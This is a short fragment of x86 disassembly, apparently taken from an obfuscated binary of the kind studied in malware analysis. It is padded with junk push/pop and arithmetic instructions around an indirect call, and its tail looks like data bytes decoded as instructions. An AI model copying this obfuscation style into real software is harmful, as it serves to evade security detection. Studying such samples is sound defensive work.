test eax, eax
jne 0x46f74a
push edx
or edx, 0x1673e
pop edx
push esi
push esi
add esp, 4
xor esi, 0xf5e5
add esi, 0xcf86
pop esi
push ecx
push edi
add esp, 4
add ecx, 0x3711
sub ecx, 0xd39c
add ecx, 0xa8d0
pop ecx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ecx
add ecx, 0xd9d
pop ecx
push ebx
push eax
add esp, 4
sub ebx, 0xdd4f
add ebx, 0x2dcd
call 0x46f772
add byte [eax + 0x40], al
dec esp
inc edx
inc edi
push eax
dec edi
dec ebx
dec esi
add esp, 4
add ebx, 0x6bbd
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff03ff
pop ecx
push esp
push ebp
xchg bh, al
pop es
test ah, dh
cmc
mov ebx, 0xc4840303
cld
add eax, dword [ebx]
jmp 0x46f7a8
xchg bh, al
pop es
pop esp
push esp
out dx, al
or dword [ecx], edi
inc edx
cmp eax, 0x84503b3b
int3